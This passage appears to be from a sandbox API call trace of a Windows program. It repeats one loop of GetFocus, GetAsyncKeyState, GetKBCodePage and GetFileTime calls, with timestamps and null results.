lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.494] GetAsyncKeyState (vKey=58) returned 0 [0258.494] GetKBCodePage () returned 0x1b5 [0258.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.494] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.495] GetKBCodePage () returned 0x1b5 [0258.495] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.495] GetFocus () returned 0x0 [0258.495] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.496] GetKBCodePage () returned 0x1b5 [0258.496] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.496] GetFocus () returned 0x0 [0258.496] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.497] GetKBCodePage () returned 0x1b5 [0258.497] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.497] GetFocus () returned 0x0 [0258.497] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.498] GetAsyncKeyState (vKey=58) returned 0 [0258.498] GetKBCodePage () returned 0x1b5 [0258.498] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.498] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.499] GetKBCodePage () returned 0x1b5 [0258.499] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.499] GetFocus () returned 0x0 [0258.499] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0258.500] GetFocus () returned 0x0 [0258.500] GetAsyncKeyState (vKey=58) returned 0 [0258.500] GetKBCodePage () returned 0x1b5 [0258.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), 